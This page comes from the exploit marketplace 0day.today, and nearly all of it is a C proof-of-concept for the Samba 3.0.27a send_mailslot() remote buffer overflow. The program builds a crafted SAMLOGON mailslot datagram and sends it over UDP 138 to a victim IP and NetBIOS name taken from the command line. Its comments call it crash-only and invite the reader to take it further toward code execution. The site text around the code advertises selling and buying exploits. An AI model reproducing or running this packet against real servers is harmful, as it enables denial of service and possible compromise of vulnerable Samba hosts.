0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Samba 3.0.27a send_mailslot() Remote Buffer Overflow PoC
======================================================== Samba 3.0.27a send_mailslot() Remote Buffer Overflow PoC ======================================================== /* http://secunia.com/secunia_research/2007-99/advisory/ * * A remote attacker could send a specially crafted "SAMLOGON" domain * logon packet, possibly leading to the execution of arbitrary code with * elevated privileges. Note that this vulnerability is exploitable only * when domain logon support is enabled in Samba. * * /////// * * Sample/simple POC [crash only] by a bored guy at asmx86 gmail [com], further exploitation or not.. is left as an exercise to the reader. * * laneleb & petemir, a true love in this world! hi! * * kangaroo kangaroo... */ #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <assert.h> #include <stdint.h> /* smb ripped defines/etc */ #define MAX_DGRAM_SIZE 576 #define MAX_NETBIOSNAME_LEN 16 typedef char nstring[MAX_NETBIOSNAME_LEN]; typedef char unstring[MAX_NETBIOSNAME_LEN*4]; enum node_type {B_NODE=0, P_NODE=1, M_NODE=2, NBDD_NODE=3}; #define PTR_DIFF(p1,p2) (/*(ptrdiff_t)*/(((const char *)(p1)) - (const char *)(p2))) #define CVAL_NC(buf,pos) (((unsigned char *)(buf))[pos]) /* Non-const version of CVAL */ #define SSVALX(buf,pos,val) (CVAL_NC(buf,pos)=(unsigned char)((val)&0xFF),CVAL_NC(buf,pos+1)=(unsigned char)((val)>>8)) #define SSVAL(buf,pos,val) SSVALX((buf),(pos),((uint16_t)(val))) #define SCVAL(buf,pos,val) (CVAL_NC(buf,pos) = (val)) /* A netbios name structure. */ struct nmb_name { nstring name; char scope[64]; unsigned int name_type; }; void safe_strcpy(char *a, char *b, uint32_t size) { strcpy(b, a); } void put_name(char *dest, const char *name, int pad, unsigned int name_type) { size_t len = strlen(name); memcpy(dest, name, (len < MAX_NETBIOSNAME_LEN) ? len : MAX_NETBIOSNAME_LEN - 1); if (len < MAX_NETBIOSNAME_LEN - 1) { memset(dest + len, pad, MAX_NETBIOSNAME_LEN - 1 - len); } dest[MAX_NETBIOSNAME_LEN - 1] = name_type; } int put_nmb_name(char *buf,int offset,struct nmb_name *name) { int ret,m; nstring buf1; char *p; if (strcmp(name->name,"*") == 0) { /* special case for wildcard name */ put_name(buf1, "*", '\0', name->name_type); } else { put_name(buf1, name->name, ' ', name->name_type); } buf[offset] = 0x20; ret = 34; for (m=0;m<MAX_NETBIOSNAME_LEN;m++) { buf[offset+1+2*m] = 'A' + ((buf1[m]>>4)&0xF); buf[offset+2+2*m] = 'A' + (buf1[m]&0xF); } offset += 33; buf[offset] = 0; if (name->scope[0]) { /* XXXX this scope handling needs testing */ ret += strlen(name->scope) + 1; safe_strcpy(&buf[offset+1],name->scope,sizeof(name->scope)); p = &buf[offset+1]; while ((p = strchr(p,'.'))) { buf[offset] = PTR_DIFF(p,&buf[offset+1]); offset += (buf[offset] + 1); p = &buf[offset+1]; } buf[offset] = strlen(&buf[offset+1]); } return(ret); } typedef struct exudp_s { unsigned char msg_type; unsigned char flags; uint16_t dgm_id; uint32_t source_ip; uint16_t source_port; uint16_t dgm_len; uint16_t pOffset; struct nmb_name source_name; struct nmb_name dest_name; } exudp; /* code */ int send_udp(int ip, char *packet, unsigned int packetSize) { int fd; struct sockaddr_in to; int len; if( (fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return 0; to.sin_family = AF_INET; to.sin_addr.s_addr = ip; to.sin_port = htons(138); if( (len = sendto(fd, packet, packetSize, 0, (struct sockaddr *)&to, sizeof(struct sockaddr_in))) < 0) { perror("sendto"); return 0; } return len; } int main(int argc, char *argv[]) { unsigned char samlogon[10240]; unsigned int nlOffset; exudp dgPacket; printf("smb_mailslot() POC by asmx86@gmail.com\n\n"); if(argc < 3) { printf("Usage: %s <uppercase victim's netbios name> <victim's ip>\n\n", argv[0]); exit(1); } if(strlen(argv[1]) > 15) { printf("[!] netbios victim's name too long\n"); exit(1); } memset(samlogon, 0, sizeof(samlogon)); dgPacket.msg_type = 0x11; dgPacket.flags = 1; dgPacket.dgm_id = 0xdead; dgPacket.source_ip = 0xdeadbeef; dgPacket.source_port = 0xc0fe; dgPacket.dgm_len = 0; dgPacket.pOffset = 0; strcpy(dgPacket.source_name.name, "ASMX86@GMAILCOM"); strcpy(dgPacket.dest_name.name, argv[1]); nlOffset = 14; nlOffset += put_nmb_name((char *)&samlogon, nlOffset, &dgPacket.source_name); nlOffset += put_nmb_name((char *)&samlogon, nlOffset, &dgPacket.dest_name); #define OFFSET 97 nlOffset -= 4; SCVAL(samlogon, nlOffset+4, 0); SSVAL(samlogon, nlOffset+4+OFFSET, 18); SCVAL(samlogon, nlOffset+7, 0); SCVAL(samlogon, nlOffset+8, 0x25); SSVAL(samlogon, nlOffset+59, 397); SSVAL(samlogon, nlOffset+61, OFFSET); SSVAL(samlogon, nlOffset+63, 0); SSVAL(samlogon, nlOffset+36, 12); memcpy(&samlogon[nlOffset+39+(12*2)], "\\MAILSLOT\\NET\\NTLOGON", 21); memcpy(&samlogon[nlOffset+4+OFFSET+4], "\x41\x00\x41\x00\x00\x00", 6); memcpy(&samlogon[nlOffset+4+OFFSET+4+6-1], "\x42\x00\x42\x00\x00\x00", 6); memset(&samlogon[nlOffset+4+OFFSET+4+6+6], '\x43', 260); //play with this value ;) nlOffset = 576; dgPacket.dgm_len = nlOffset - 14; dgPacket.dgm_len = htons(dgPacket.dgm_len); memcpy(&samlogon, &dgPacket, 14); if(!send_udp(inet_addr(argv[2]), samlogon, nlOffset)) fprintf(stderr, "[!] Error sending UDP packet\n"); else fprintf(stderr, "[*] packet sent\n"); return 0; } //eof # 0day.today [2024-12-24] #